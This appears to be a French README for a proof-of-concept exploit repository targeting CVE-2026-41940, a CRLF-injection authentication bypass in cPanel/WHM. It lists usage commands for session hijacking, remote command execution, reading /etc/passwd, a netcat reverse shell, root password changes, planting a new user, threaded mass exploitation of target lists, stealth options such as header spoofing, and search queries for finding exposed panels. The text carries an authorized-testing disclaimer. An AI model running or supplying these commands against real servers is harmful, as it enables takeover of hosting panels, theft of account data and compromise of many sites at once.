
PoC d'exploit pour CVE-2026-41940 ciblant le contournement d'authentification cPanel/WHM via injection CRLF. Prend en charge le détournement de session, l'exécution de code à distance (RCE), le reverse shell, le scan de masse et le shell interactif pour les tests d'intrusion autorisés.

Édition cPanel & WHM - Injection CRLF vers contournement d'authentification et détournement complet de session
Cet exploit tire parti de CVE-2026-41940, une vulnérabilité critique de contournement d'authentification dans cPanel/WHM. En injectant une charge utile CRLF spécialement conçue dans le système de gestion de session, il permet le détournement de session, l'accès root et le contrôle total du panneau d'hébergement sans aucun identifiant valide.
| Catégorie | Fonctionnalités |
|---|---|
| Exploitation | [+] Contournement d'authentification via injection CRLF [+] Détournement de session WHM [+] Fuite de jeton de sécurité [+] Accès root instantané |
| Post-exploitation | [+] Extraction de la liste des comptes (Utilisateur + Domaine) [+] Exécution de commandes à distance (RCE) [+] Reverse Shell (compatible netcat) [+] Lecture de fichiers (configs, logs, etc) [+] Changement du mot de passe root [+] Création d'un nouvel utilisateur cPanel |
| Scanning | [+] Exploitation d'une cible unique [+] Scan de masse multi-cibles [+] Multi-threading (threads configurables) [+] Prise en charge du remplacement de port |
| Furtivité | [+] Délais aléatoires entre les requêtes [+] Usurpation X-Forwarded-For [+] Prise en charge d'un User-Agent personnalisé [+] Prise en charge de proxy (HTTP/HTTPS) |
| Utilisabilité | [+] Shell WHM interactif (-i)[+] Sortie colorée (colorama) [+] Mode verbeux/débogage [+] Export de la liste des comptes vers un fichier [+] Thread de session Keep-Alive [+] Mécanisme de nouvelle tentative pour les connexions instables |
| Produit | Versions | Statut |
|---|---|---|
| cPanel & WHM | 11.92 - 11.102 | [+] Confirmé |
| cPanel & WHM | 11.104 - 11.110 | [+] Confirmé |
| cPanel & WHM | 11.118 - 11.136 | [!] Limité |
| cPanel & WHM | < 11.86 | [+] Potentiellement vulnérable |
port:2087 "cPanel" "WHM"
port:2083 "cPanel"
Avertissement : Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. Tout accès non autorisé est illégal.
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41940-POC-Exploit
cd CVE-2026-41940-POC-Exploit
# Install dependencies
pip3 install -r requirements.txt
# Run
python3 exploit.py -t https://example.com:2087
# Basic exploitation (extract accounts)
python3 exploit.py -t https://192.168.1.100:2087
# Save accounts to file
python3 exploit.py -t https://192.168.1.100:2087 -o accounts.txt
# Verbose mode (debug output)
python3 exploit.py -t https://192.168.1.100:2087 -v
# Interactive WHM Shell (Recommended)
python3 exploit.py -t https://192.168.1.100:2087 -i
[email protected] $ accounts # List all cPanel accounts
[email protected] $ version # Show cPanel version
[email protected] $ ls /home # List directory
[email protected] $ cat /etc/passwd # Read file
[email protected] $ exec id # Execute command
[email protected] $ passwd NewPass123 # Change root password
[email protected] $ adduser test test.com pass123 # Create new user
[email protected] $ exit # Exit shell
## Exécution de commandes à distance
```bash
# Execute single command
python3 exploit.py -t https://192.168.1.100:2087 --cmd "id"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "cat /etc/passwd"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "whoami; hostname; uname -a"
# Read file
python3 exploit.py -t https://192.168.1.100:2087 --read /etc/passwd
python3 exploit.py -t https://192.168.1.100:2087 --read /home/example/config.php
# Attacker machine (listener)
nc -lvnp 4444
# Exploit (reverse shell)
python3 exploit.py -t https://192.168.1.100:2087 --reverse-shell 10.0.0.1:4444
# Change root password
python3 exploit.py -t https://192.168.1.100:2087 --passwd "NewRootPass123!"
# Create new cPanel user
python3 exploit.py -t https://192.168.1.100:2087 --adduser hacker hacker.com Pass1234
# Keep-alive session (maintain access)
python3 exploit.py -t https://192.168.1.100:2087 --no-keep-alive # Disable auto keep-alive
# Create targets file
echo "https://target1.com:2087" > targets.txt
echo "https://target2.com:2087" >> targets.txt
echo "https://10.0.0.5:2087" >> targets.txt
# Mass exploit with 20 threads
python3 exploit.py -l targets.txt --threads 20
# Mass exploit with command execution
python3 exploit.py -l targets.txt --threads 10 --cmd "id"
# Custom port (non-standard)
python3 exploit.py -t https://example.com -p 8443
# Using proxy
python3 exploit.py -t https://192.168.1.100:2087 --proxy http://127.0.0.1:8080
# Custom user-agent for stealth
python3 exploit.py -t https://192.168.1.100:2087 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# Custom delay and retries
python3 exploit.py -t https://192.168.1.100:2087 --delay 5 --max-retries 5
# SSL verification (ignore self-signed by default)
python3 exploit.py -t https://192.168.1.100:2087 --ssl-verify
| Court | Long | Description | Défaut |
|---|---|---|---|
-t | --target | URL de la cible unique | Requis (unique) |
-l | --target-file | Fichier contenant la liste des cibles | Requis (masse) |
-p | --port | Remplacer le port | Auto-détection |
-o | --output | Enregistrer la liste des comptes dans un fichier | Aucun |
-v | --verbose | Activer la sortie de débogage | False |
-i | --interactive | Shell WHM interactif | False |
--proxy | Proxy HTTP/HTTPS | Aucun | |
-ua | --user-agent | User-Agent personnalisé | Aléatoire |
--cmd | Exécuter une seule commande | Aucun | |
--reverse-shell | Reverse shell IP:PORT | Aucun | |
--passwd | Changer le mot de passe root | Aucun | |
--adduser | Créer un nouvel utilisateur (USER DOMAIN PASS) | Aucun | |
--read | Lire un fichier depuis la cible | Aucun | |
--threads | Threads pour le scan de masse | 10 | |
--delay | Intervalle keep-alive (secondes) | 3.0 | |
--max-retries | Nombre maximal de tentatives par requête | 3 | |
--no-keep-alive | Ne pas maintenir la session | False | |
--ssl-verify | Vérifier les certificats SSL | False |
docker run -d --name cpanel-test -p 2087:2087 cpanel/cpanel:102
docker pull cpanel/cpanel:11.102 docker run -d -p 2087:2087 cpanel/cpanel:11.102
Découvrez mes autres dépôts d'exploits :
Cette boîte à outils est fournie strictement pour les tests de sécurité autorisés, les engagements red team et la recherche défensive. En utilisant ce logiciel, vous acceptez les conditions suivantes :